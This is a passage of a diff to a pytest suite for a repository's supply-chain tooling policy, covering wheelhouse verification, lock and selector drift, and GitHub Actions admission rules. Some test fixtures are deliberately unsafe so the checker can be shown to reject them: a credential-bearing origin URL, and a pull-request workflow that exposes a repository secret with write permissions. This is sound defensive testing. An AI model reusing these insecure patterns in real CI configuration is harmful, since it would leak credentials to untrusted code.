- lock_path.write_text("locked\n", encoding="utf-8") - artifact = wheelhouse / "fixture-1-py3-none-any.whl" - artifact.write_bytes(b"reviewed-wheel") - profile_id = "bootstrap-test" - manifest = { - "python_closure_profile_id": profile_id, - "lock_path": lock_path.relative_to(root).as_posix(), - "lock_sha256": hashlib.sha256(lock_path.read_bytes()).hexdigest(), - "requirements_sha256": hashlib.sha256(requirements_path.read_bytes()).hexdigest(), - "artifacts": [ - { - "filename": artifact.name, - "sha256": hashlib.sha256(artifact.read_bytes()).hexdigest(), - "size": artifact.stat().st_size, - } - ], - } - manifest_path.write_text(json.dumps(manifest), encoding="utf-8") - snapshot_path.write_bytes(manifest_path.read_bytes()) - profiles_path.write_text( - json.dumps( - { - "python_closure_profiles": [ - { - "python_closure_profile_id": profile_id, - "wheelhouse_manifest": manifest_path.relative_to(root).as_posix(), - "smoke_requirements": requirements_path.relative_to(root).as_posix(), - } - ] - } - ), - encoding="utf-8", - ) - return ( - root, - profile_id, - wheelhouse, - snapshot_path, - manifest_path, - lock_path, - requirements_path, - ) - - -@pytest.mark.integration -def test_bootstrap_wheelhouse_verification_runs_without_site_packages(tmp_path: Path) -> None: - root, profile_id, wheelhouse, snapshot_path, _manifest_path, _lock_path, _requirements_path = ( - _seed_bootstrap_wheelhouse_fixture(tmp_path) - ) - code = ( - "import sys; from pathlib import Path; " - "sys.path.insert(0, sys.argv[1]); " - "from tools.python_closure import verify_bootstrap_wheelhouse; " - "verify_bootstrap_wheelhouse(Path(sys.argv[2]), sys.argv[3], Path(sys.argv[4]), Path(sys.argv[5]))" - ) - - completed = subprocess.run( - [ - sys.executable, - "-I", - "-S", - "-c", - code, - str(REPO_ROOT), - str(root), - profile_id, - str(wheelhouse), - str(snapshot_path), - ], - cwd=REPO_ROOT, - text=True, - capture_output=True, - check=False, - ) - - assert completed.returncode == 0, completed.stderr - - -@pytest.mark.parametrize( - ("mutation", "message"), - [ - ("snapshot", "does not match the reviewed authority"), - ("lock", "lock identity is stale"), - ("requirements", "requirements identity is stale"), - ("profile", "profile identity is wrong"), - ("symlink", "must not be a symbolic link"), - ], -) -def test_bootstrap_wheelhouse_verification_rejects_stale_or_untrusted_identity( - tmp_path: Path, - mutation: str, - message: str, -) -> None: - from tools.python_closure import verify_bootstrap_wheelhouse - - root, profile_id, wheelhouse, snapshot_path, manifest_path, _lock_path, _requirements_path = ( - _seed_bootstrap_wheelhouse_fixture(tmp_path) - ) - manifest = json.loads(manifest_path.read_text(encoding="utf-8")) - if mutation == "snapshot": - snapshot_path.write_text("{}\n", encoding="utf-8") - elif mutation == "lock": - manifest["lock_sha256"] = _SHA_A - elif mutation == "requirements": - manifest["requirements_sha256"] = _SHA_B - elif mutation == "profile": - manifest["python_closure_profile_id"] = "another-profile" - elif mutation == "symlink": - snapshot_path.unlink() - snapshot_path.symlink_to(manifest_path) - else: # pragma: no cover - the parametrization above is closed. - raise AssertionError(f"unknown mutation: {mutation}") - if mutation in {"lock", "requirements", "profile"}: - manifest_path.write_text(json.dumps(manifest), encoding="utf-8") - snapshot_path.write_bytes(manifest_path.read_bytes()) - - with pytest.raises(ValueError, match=message): - verify_bootstrap_wheelhouse(root, profile_id, wheelhouse, snapshot_path) - - -def test_bootstrap_verification_refuses_a_kit_split_across_roots(tmp_path: Path) -> None: - from tools.python_closure import verify_bootstrap_wheelhouse - - root, profile_id, wheelhouse, snapshot_path, _manifest_path, _lock_path, _requirements_path = ( - _seed_bootstrap_wheelhouse_fixture(tmp_path) - ) - elsewhere = tmp_path / "elsewhere" - elsewhere.mkdir() - relocated = elsewhere / snapshot_path.name - relocated.write_bytes(snapshot_path.read_bytes()) - - with pytest.raises(ValueError, match="must share one kit root"): - verify_bootstrap_wheelhouse(root, profile_id, wheelhouse, relocated) - - -def test_bootstrap_verification_refuses_a_symlinked_operator_path(tmp_path: Path) -> None: - from tools.python_closure import verify_bootstrap_wheelhouse - - root, profile_id, wheelhouse, snapshot_path, _manifest_path, _lock_path, _requirements_path = ( - _seed_bootstrap_wheelhouse_fixture(tmp_path) - ) - linked = root / "linked-wheelhouse" - linked.symlink_to(wheelhouse, target_is_directory=True) - - with pytest.raises(ValueError, match="must not be a symbolic link"): - verify_bootstrap_wheelhouse(root, profile_id, linked, snapshot_path) - - def test_python_closure_anchors_relative_paths_before_temporary_cwd( monkeypatch: pytest.MonkeyPatch, tmp_path: Path, @@ -678,7 +552,7 @@ def test_python_closure_policy_rejects_authority_and_projection_drift(tmp_path: tool_project.read_text(encoding="utf-8").replace("ruff==0.15.9", "ruff==0.15.8"), encoding="utf-8", ) - assert "tooling-python-direct-pins" in _python_closure_rule_ids(direct_root, direct_documents) + assert "tooling-python-lock" in _python_closure_rule_ids(direct_root, direct_documents) lock_root = tmp_path / "lock" lock_documents = _seed_python_closure_authorities(lock_root) @@ -690,7 +564,7 @@ def test_python_closure_policy_rejects_authority_and_projection_drift(tmp_path: encoding="utf-8", ) lock_failures = _python_closure_rule_ids(lock_root, lock_documents) - assert {"tooling-python-lock", "tooling-python-projection-generation"} <= lock_failures + assert "tooling-python-lock" in lock_failures constraints_root = tmp_path / "constraints" constraints_documents = _seed_python_closure_authorities(constraints_root) @@ -725,7 +599,7 @@ def test_python_closure_policy_rejects_symlink_authority_and_public_fallback(tmp fallback_root = tmp_path / "fallback" fallback_documents = _seed_python_closure_authorities(fallback_root) - fallback_documents[PROFILES_PATH]["python_package_contexts"][1]["public_fallback"] = "permitted" + fallback_documents[PROFILES_PATH]["python_package_contexts"][0]["public_fallback"] = "permitted" assert "tooling-python-fallback" in _python_closure_rule_ids( fallback_root, fallback_documents, @@ -743,46 +617,6 @@ def test_seeded_policy_has_no_failures(tmp_path: Path) -> None: ) -def test_policy_digest_binds_host_policy_and_every_authority(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - original = tooling_policy_sha256(root) - profiles = _load(root, PROFILES_PATH) - profiles["host_profiles"][0]["required_capability_ids"].append("sha256") - _write_json(root, PROFILES_PATH, profiles) - assert tooling_policy_sha256(root) != original - assert "tooling-host-evidence-policy" in _failures(root) - - -def test_policy_digest_excludes_qualification_result_records(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - original = tooling_policy_sha256(root) - profiles = _load(root, PROFILES_PATH) - profiles["qualification_records"][0]["policy_sha256"] = "f" * 64 - profiles["qualification_records"][0]["evidence_sha256"] = "e" * 64 - _write_json(root, PROFILES_PATH, profiles) - assert tooling_policy_sha256(root) == original - - -def test_python_discovery_parses_each_tracked_source_once( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - root = _seed_policy(tmp_path) - from tools import tooling_artifact_policy_discovery - - parse = tooling_artifact_policy_discovery.ast.parse - parse_calls = 0 - - def count_parse(*args: object, **kwargs: object): - nonlocal parse_calls - parse_calls += 1 - return parse(*args, **kwargs) - - monkeypatch.setattr(tooling_artifact_policy_discovery.ast, "parse", count_parse) - assert _failures(root) == set() - assert parse_calls == 1 - - def test_selection_launcher_uses_frozen_uv_without_a_tool_venv( monkeypatch: pytest.MonkeyPatch, tmp_path: Path, @@ -901,8 +735,8 @@ def test_duplicate_json_keys_fail_closed(tmp_path: Path) -> None: def test_policy_authority_symlinks_fail_closed(tmp_path: Path) -> None: root = _seed_policy(tmp_path) - path = root / ACTIONS_POLICY_PATH - target = path.with_name("actions-policy-target.json") + path = root / ARTIFACT_LOCK_PATH + target = path.with_name("artifact-lock-target.json") path.rename(target) path.symlink_to(target.name) assert "tooling-json-file" in _failures(root) @@ -910,7 +744,7 @@ def test_policy_authority_symlinks_fail_closed(tmp_path: Path) -> None: def test_internal_schemas_cannot_resolve_remote_references(tmp_path: Path) -> None: root = _seed_policy(tmp_path) - schema_path = root / "implementations/tooling/schemas/actions-policy.schema.json" + schema_path = root / "implementations/tooling/schemas/artifact-lock.schema.json" schema = json.loads(schema_path.read_text(encoding="utf-8")) schema["$defs"] = {"remote": {"$ref": "https://example.invalid/schema.json"}} schema_path.write_text(json.dumps(schema), encoding="utf-8") @@ -987,26 +821,6 @@ def test_artifact_policy_subject_and_evidence_are_enforced(tmp_path: Path) -> No assert {"tooling-policy-subject", "tooling-policy-evidence"} <= failures -def test_action_policy_requires_action_subject_and_commit_evidence(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - actions = _load(root, ACTIONS_POLICY_PATH) - actions["policy_refs"] = ["artifact-integrity-v1"] - _write_json(root, ACTIONS_POLICY_PATH, actions) - failures = _failures(root) - assert {"tooling-policy-subject", "tooling-policy-evidence"} <= failures - - -def test_inventory_policy_references_subjects_and_evidence_are_joined(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - coverage = _load(root, INVENTORY_COVERAGE_PATH) - coverage["rows"][0]["policy_refs"] = ["missing-policy"] - coverage["rows"][1]["subjects"] = ["action"] - coverage["rows"][2]["evidence_refs"] = ["unknown-evidence"] - _write_json(root, INVENTORY_COVERAGE_PATH, coverage) - failures = _failures(root) - assert {"tooling-policy-reference", "tooling-policy-subject", "tooling-policy-evidence"} <= failures - - def test_dependency_cycles_are_rejected(tmp_path: Path) -> None: root = _seed_policy(tmp_path) lock = _load(root, ARTIFACT_LOCK_PATH) @@ -1034,14 +848,12 @@ def test_host_profiles_fail_closed_on_unknown_payload_evidence_and_proof_platfor profiles = _load(root, PROFILES_PATH) host = profiles["host_profiles"][0] host["bootstrap_payload_ids"] = ["missing-payload"] - host["qualification_record_ids"] = ["missing-evidence"] host["platform_id"] = "macos-arm64" host["proof_support"] = "linux-x86_64-required" _write_json(root, PROFILES_PATH, profiles) failures = _failures(root) assert { "tooling-host-artifact", - "tooling-host-evidence-reference", "tooling-host-proof-platform", "tooling-host-proof-capability", "tooling-host-proof-closure", @@ -1097,1254 +909,120 @@ def test_secret_bearing_exact_source_url_is_rejected_without_echoing_it(tmp_path assert all("password" not in failure.render() and "token=secret" not in failure.render() for failure in failures) -def test_inventory_coverage_is_exact_and_complete(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - coverage = _load(root, INVENTORY_COVERAGE_PATH) - coverage["rows"].pop() - coverage["rows"].append(dict(coverage["rows"][0])) - _write_json(root, INVENTORY_COVERAGE_PATH, coverage) - failures = _failures(root) - assert {"tooling-inventory-duplicate", "tooling-inventory-missing"} <= failures - - -def test_unlisted_or_mutable_workflow_action_fails_closed(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True) - workflow.write_text("jobs:\n test:\n steps:\n - uses: actions/checkout@main\n", encoding="utf-8") - failures = _failures(root, tracked_paths=[".github/workflows/test.yml"]) - assert {"tooling-action-mutable", "tooling-action-unowned"} <= failures - - -def test_quoted_workflow_uses_key_is_structurally_validated(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True) - workflow.write_text( - 'jobs:\n test:\n steps:\n - "uses": actions/checkout@main\n', - encoding="utf-8", - ) - failures = _failures(root, tracked_paths=[".github/workflows/test.yml"]) - assert {"tooling-action-mutable", "tooling-action-unowned"} <= failures - - -def test_stale_workflow_action_policy_entry_is_rejected(tmp_path: Path) -> None: +def test_selector_drift_is_rejected_against_the_lock_authority(tmp_path: Path) -> None: root = _seed_policy(tmp_path) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"].append( + bindings = _load(root, SELECTOR_BINDINGS_PATH) + bindings["bindings"].append( { - "action": "actions/checkout", - "commit": "c" * 40, - "owner_roles": ["Tooling"], - "trust_root_refs": ["reviewed-git-commit"], + "binding_id": "tool-a-nox", + "artifact_id": "tool-a", + "authority_field": "version", + "consumers": [ + { + "path": "noxfile.py", + "template": "tool-a=={selector}", + } + ], } ) - _write_json(root, ACTIONS_POLICY_PATH, policy) - assert "tooling-action-stale" in _failures(root) + _write_json(root, SELECTOR_BINDINGS_PATH, bindings) + (root / "noxfile.py").write_text('TOOL = "tool-a==2.0.0"\n', encoding="utf-8") + assert "tooling-selector-drift" in _failures(root, tracked_paths=["noxfile.py"]) -def _seed_checkout_workflow(root: Path, body: str) -> None: - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"].append( +def test_selector_binding_must_name_a_locked_artifact_authority(tmp_path: Path) -> None: + root = _seed_policy(tmp_path) + bindings = _load(root, SELECTOR_BINDINGS_PATH) + bindings["bindings"].append( { - "action": "actions/checkout", - "commit": "c" * 40, - "owner_roles": ["Tooling"], - "trust_root_refs": ["reviewed-git-commit"], + "binding_id": "missing-tool", + "artifact_id": "missing-tool", + "authority_field": "version", + "consumers": [{"path": "noxfile.py", "template": "missing-tool=={selector}"}], } ) - _write_json(root, ACTIONS_POLICY_PATH, policy) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True, exist_ok=True) - workflow.write_text(body, encoding="utf-8") - + _write_json(root, SELECTOR_BINDINGS_PATH, bindings) -def _seed_valid_checkout_admission(root: Path) -> None: - profiles = _load(root, PROFILES_PATH) - profiles["host_profiles"][0]["host_profile_id"] = "public-ubuntu-24.04-x86_64" - profiles["qualification_records"][0]["host_profile_id"] = "public-ubuntu-24.04-x86_64" - _write_json(root, PROFILES_PATH, profiles) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"] = [ - { - "source_id": "checkout", - "action": "actions/checkout", - "commit": "c" * 40, - "owner_roles": ["Tooling"], - "reviewer_roles": ["Security"], - "trust_root_refs": ["git-commit-sha", "reviewed-workflow-reference"], - "runtime": "node24", - "closure_review_ref": "fixture:checkout-source-review", - "security_effects": { - "closed_inputs": {"persist-credentials": [False]}, - "credentials": [], - "cache": [], - "artifact": [], - }, - "transitive_inputs": [{"input_id": "git-client", "host_capability_ref": "git"}], - } - ] - origins = ["api.github.com", "codeload.github.com", "github.com"] - policy["workflow_jobs"] = [ - { - "workflow": ".github/workflows/test.yml", - "job": "test", - "runner": "ubuntu-24.04", - "host_profile_ids": ["public-ubuntu-24.04-x86_64"], - "trust_classes": ["untrusted-pr"], - "permissions": {"contents": "read"}, - "credential_classes": ["github-token"], - "allowed_origins": origins, - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": False, - "publishing_authority": False, - } - ] - policy["use_sites"] = [ - { - "use_id": "test/test/checkout", - "workflow": ".github/workflows/test.yml", - "job": "test", - "step": "actions/checkout", - "source_id": "checkout", - "action": "actions/checkout", - "commit": "c" * 40, - "inputs": {"persist-credentials": False}, - "trust_classes": ["untrusted-pr"], - "credential_classes": ["github-token"], - "allowed_origins": origins, - "cache_role": "none", - "artifact_role": "none", - } - ] - _write_json(root, ACTIONS_POLICY_PATH, policy) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True, exist_ok=True) - workflow.write_text( - """on: pull_request -permissions: - contents: read -jobs: - test: - runs-on: ubuntu-24.04 - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false -""", - encoding="utf-8", - ) - profiles = _load(root, PROFILES_PATH) - profiles["qualification_records"][0]["policy_sha256"] = tooling_policy_sha256(root) - _write_json(root, PROFILES_PATH, profiles) + assert "tooling-selector-authority" in _failures(root, tracked_paths=["noxfile.py"]) -def test_complete_action_admission_context_is_accepted(tmp_path: Path) -> None: +def test_duplicate_selector_binding_id_is_rejected(tmp_path: Path) -> None: root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) + bindings = _load(root, SELECTOR_BINDINGS_PATH) + binding = { + "binding_id": "tool-a-nox", + "artifact_id": "tool-a", + "authority_field": "version", + "consumers": [{"path": "noxfile.py", "template": "tool-a=={selector}"}], + } + bindings["bindings"] = [binding, json.loads(json.dumps(binding))] + _write_json(root, SELECTOR_BINDINGS_PATH, bindings) + (root / "noxfile.py").write_text('TOOL = "tool-a==1.0.0"\n', encoding="utf-8") - assert not _failures(root, tracked_paths=[".github/workflows/test.yml"]) + assert "tooling-selector-binding-duplicate" in _failures(root, tracked_paths=["noxfile.py"]) -def test_same_repository_pr_condition_refines_secret_boundary(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - """on: - push: - branches: [main] - pull_request: - branches: [main] -permissions: - contents: read -jobs: - test: - if: >- - (github.event_name == 'push' && github.ref == 'refs/heads/main') || - (github.event_name == 'pull_request' && - github.event.pull_request.head.repo.full_name == github.repository && - github.actor != 'dependabot[bot]') - runs-on: ubuntu-24.04 - env: - ANALYSIS_TOKEN: ${{ secrets.ANALYSIS_TOKEN }} - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false -""", - encoding="utf-8", +@pytest.mark.integration +def test_exact_lock_selection_normalizes_platform_alias_and_rejects_wrong_version() -> None: + selection = select_tooling_artifact( + REPO_ROOT, + artifact_id="conftest", + version="0.68.0", + platform_id="Linux-amd64", + profile_id="public-linux-x86_64", ) - policy = _load(root, ACTIONS_POLICY_PATH) - trust_classes = ["protected-branch", "same-repository-pr"] - credential_classes = ["github-token", "secret:analysis-token"] - policy["workflow_jobs"][0]["trust_classes"] = trust_classes - policy["workflow_jobs"][0]["credential_classes"] = credential_classes - policy["use_sites"][0]["trust_classes"] = trust_classes - policy["use_sites"][0]["credential_classes"] = credential_classes - _write_json(root, ACTIONS_POLICY_PATH, policy) - profiles = _load(root, PROFILES_PATH) - profiles["qualification_records"][0]["policy_sha256"] = tooling_policy_sha256(root) - _write_json(root, PROFILES_PATH, profiles) - - assert not _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_action_source_owner_and_reviewer_roles_must_be_independent(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["reviewer_roles"] = ["Tooling"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-source-review" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_duplicate_action_source_id_is_rejected(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - duplicate = json.loads(json.dumps(policy["actions"][0])) - duplicate["action"] = "example/other-action" - duplicate["commit"] = "d" * 40 - policy["actions"].append(duplicate) - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-duplicate" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -@pytest.mark.parametrize("mutation", ["duplicate", "role-overlap", "unused"]) -def test_service_exception_lifecycle_rejects_duplicate_conflicted_or_unused_records( - tmp_path: Path, - mutation: str, -) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - exception = _fixture_service_exception() - if mutation != "unused": - policy["actions"][0]["transitive_inputs"].append( - {"input_id": "service", "service_managed_exception_ref": "fixture-service"} + assert selection["platform"]["platform_id"] == "linux-x86_64" + with pytest.raises(ValueError, match="exactly one reviewed lock entry"): + select_tooling_artifact( + REPO_ROOT, + artifact_id="conftest", + version="9.9.9", + platform_id="linux-x86_64", + profile_id="public-linux-x86_64", ) - if mutation == "duplicate": - policy["service_managed_exceptions"] = [exception, json.loads(json.dumps(exception))] - else: - if mutation == "role-overlap": - exception["reviewer_roles"] = ["Tooling"] - policy["service_managed_exceptions"] = [exception] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-exception" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) -def test_expired_service_exception_is_rejected(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["transitive_inputs"].append( - {"input_id": "service", "service_managed_exception_ref": "fixture-service"} - ) - policy["service_managed_exceptions"] = [_fixture_service_exception(review_on="2026-01-01")] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-exception-expired" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -@pytest.mark.parametrize("target", ["exception", "workflow-job", "use-site"]) -def test_unsafe_action_origin_is_rejected_at_every_policy_scope(tmp_path: Path, target: str) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - if target == "exception": - policy["actions"][0]["transitive_inputs"].append( - {"input_id": "service", "service_managed_exception_ref": "fixture-service"} - ) - exception = _fixture_service_exception() - exception["allowed_origins"] = ["https://user:password@example.invalid"] - policy["service_managed_exceptions"] = [exception] - elif target == "workflow-job": - policy["workflow_jobs"][0]["allowed_origins"] = ["https://example.invalid"] - else: - policy["use_sites"][0]["allowed_origins"] = ["https://example.invalid"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-origin" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) +@pytest.mark.integration +def test_exact_host_selection_runs_the_canonical_policy_boundary() -> None: + selection = select_tooling_host_profile(REPO_ROOT, host_profile_id="public-macos-arm64") + assert selection["host_profile"]["platform_id"] == "macos-arm64" + assert {item["artifact_id"] for item in selection["artifacts"]} == { + "conftest", + "cpython-3.14", + "gitleaks", + "osv-scanner", + "uv", + "vale", + } + assert len(selection["policy_sha256"]) == 64 + assert len(selection["policy_sha256"]) == 64 -def test_service_exception_must_bind_exact_source_revision_and_input(tmp_path: Path) -> None: +def test_source_snapshot_byte_drift_is_rejected(tmp_path: Path) -> None: root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["transitive_inputs"] = [ - {"input_id": "github-service", "service_managed_exception_ref": "github-service"} - ] - policy["service_managed_exceptions"] = [ - { - "exception_id": "github-service", - "source_id": "different-source", - "action": "actions/checkout", - "input_id": "github-service", - "reason": "Fixture service response cannot be pinned.", - "operation": "read fixture source", - "allowed_origins": ["github.com"], - "credential_class": "github-token", - "credential_forwarding": "same-origin-only", - "owner_roles": ["Tooling"], - "reviewer_roles": ["Security"], - "evidence_ref": "fixture:service-review", - "scope": "Fixture-only source read.", - "review_on": "2027-03-11", - } - ] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-transitive-input" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) + lock = _load(root, ARTIFACT_LOCK_PATH) + artifact = lock["artifacts"][0] + artifact["artifact_class"] = "source-snapshot" + artifact["platforms"][0]["installed_manifest"][0]["path"] = "contracts/source.json" + snapshot = root / "contracts" / "source.json" + snapshot.parent.mkdir(parents=True) + snapshot.write_text("{}\n", encoding="utf-8") + _write_json(root, ARTIFACT_LOCK_PATH, lock) + assert "tooling-source-snapshot-drift" in _failures(root) -def test_action_source_closure_cycles_fail_closed(tmp_path: Path) -> None: +def test_source_snapshot_rejects_a_symlinked_parent_directory(tmp_path: Path) -> None: root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["transitive_inputs"] = [{"input_id": "nested", "action_source_ref": "nested-action"}] - policy["actions"].append( + payload = b"{}\n" + lock = _load(root, ARTIFACT_LOCK_PATH) + artifact = lock["artifacts"][0] + artifact["artifact_class"] = "source-snapshot" + installed = artifact["platforms"][0]["installed_manifest"][0] + installed.update( { - "source_id": "nested-action", - "action": "example/nested-action", - "commit": "d" * 40, - "owner_roles": ["Tooling"], - "reviewer_roles": ["Security"], - "trust_root_refs": ["git-commit-sha", "reviewed-workflow-reference"], - "runtime": "composite", - "closure_review_ref": "fixture:nested-source-review", - "transitive_inputs": [{"input_id": "parent", "action_source_ref": "checkout"}], - } - ) - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-transitive-cycle" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_action_payload_reference_is_a_runtime_selection_consumer(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"] = [ - { - "source_id": "payload-consumer", - "action": "example/payload-consumer", - "commit": "d" * 40, - "owner_roles": ["Tooling"], - "reviewer_roles": ["Security"], - "trust_root_refs": ["git-commit-sha", "reviewed-workflow-reference"], - "runtime": "node24", - "closure_review_ref": "fixture:payload-consumer-review", - "transitive_inputs": [{"input_id": "payload", "artifact_ref": "tool-a"}], - } - ] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-runtime-selection-drift" in _failures(root) - - -def test_declared_origin_and_literal_inputs_cannot_drift(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["use_sites"][0]["inputs"]["persist-credentials"] = True - policy["use_sites"][0]["allowed_origins"] = ["example.invalid"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-use-site" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_privileged_manual_job_requires_a_real_protected_definition_path(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text(workflow.read_text().replace("on: pull_request", "on: workflow_dispatch"), encoding="utf-8") - policy = _load(root, ACTIONS_POLICY_PATH) - job = policy["workflow_jobs"][0] - job["trust_classes"] = ["manual"] - job["permissions"] = {"contents": "write"} - job["promotion_authority"] = True - job["protected_definition_ref"] = "fixture:asserted-but-not-enforced" - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-trust-boundary" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_workflow_parser_rejects_aliases(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True, exist_ok=True) - workflow.write_text( - """on: pull_request -permissions: {contents: read} -jobs: - first: &shared - runs-on: ubuntu-24.04 - steps: [] - second: *shared -""", - encoding="utf-8", - ) - - assert "tooling-action-scan" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_pull_request_job_cannot_hold_write_permissions_or_secrets(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_checkout_workflow( - root, - """on: pull_request -permissions: - contents: read -jobs: - test: - runs-on: ubuntu-24.04 - permissions: - pull-requests: write - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false - - run: test -n \"$PRIVATE_TOKEN\" - env: - PRIVATE_TOKEN: ${{ secrets.ENTERPRISE_READ_TOKEN }} -""", - ) - - failures = _failures(root, tracked_paths=[".github/workflows/test.yml"]) - assert {"tooling-action-permission", "tooling-action-credential"} <= failures - - -def test_checkout_credential_persistence_is_a_closed_source_input(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["use_sites"][0]["inputs"]["persist-credentials"] = True - _write_json(root, ACTIONS_POLICY_PATH, policy) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text().replace("persist-credentials: false", "persist-credentials: true"), - encoding="utf-8", - ) - - assert "tooling-action-input-contract" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_action_effects_are_enforced_from_policy_without_action_name_branches(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["security_effects"]["cache"] = [{"role": "write"}] - policy["workflow_jobs"][0]["cache_access"] = "write-untrusted" - policy["use_sites"][0]["cache_role"] = "write-untrusted" - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-cache" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_action_payload_must_join_the_concrete_use_site_host_profile(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["transitive_inputs"] = [ - {"input_id": "payload", "artifact_ref": "tool-a"}, - ] - lock = _load(root, ARTIFACT_LOCK_PATH) - lock["artifacts"][0]["platforms"][0]["host_profile_ids"] = ["different-host-profile"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - _write_json(root, ARTIFACT_LOCK_PATH, lock) - - assert "tooling-action-host-join" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_action_capability_must_join_the_concrete_use_site_host_profile(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - profiles = _load(root, PROFILES_PATH) - other_host = json.loads(json.dumps(profiles["host_profiles"][0])) - other_host["host_profile_id"] = "different-host-profile" - other_host["required_capability_ids"] = ["container-daemon"] - profiles["host_profiles"].append(other_host) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["transitive_inputs"] = [ - {"input_id": "container-runtime", "host_capability_ref": "container-daemon"}, - ] - _write_json(root, PROFILES_PATH, profiles) - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-host-join" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_service_exception_credentials_propagate_to_action_occurrences(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"][0]["transitive_inputs"] = [ - {"input_id": "service", "service_managed_exception_ref": "fixture-service"}, - ] - policy["service_managed_exceptions"] = [ - { - "exception_id": "fixture-service", - "source_id": "checkout", - "action": "actions/checkout", - "input_id": "service", - "reason": "Fixture service response cannot be pinned.", - "operation": "read fixture service", - "allowed_origins": ["github.com"], - "credential_class": "secret:service-token", - "credential_forwarding": "same-origin-only", - "owner_roles": ["Tooling"], 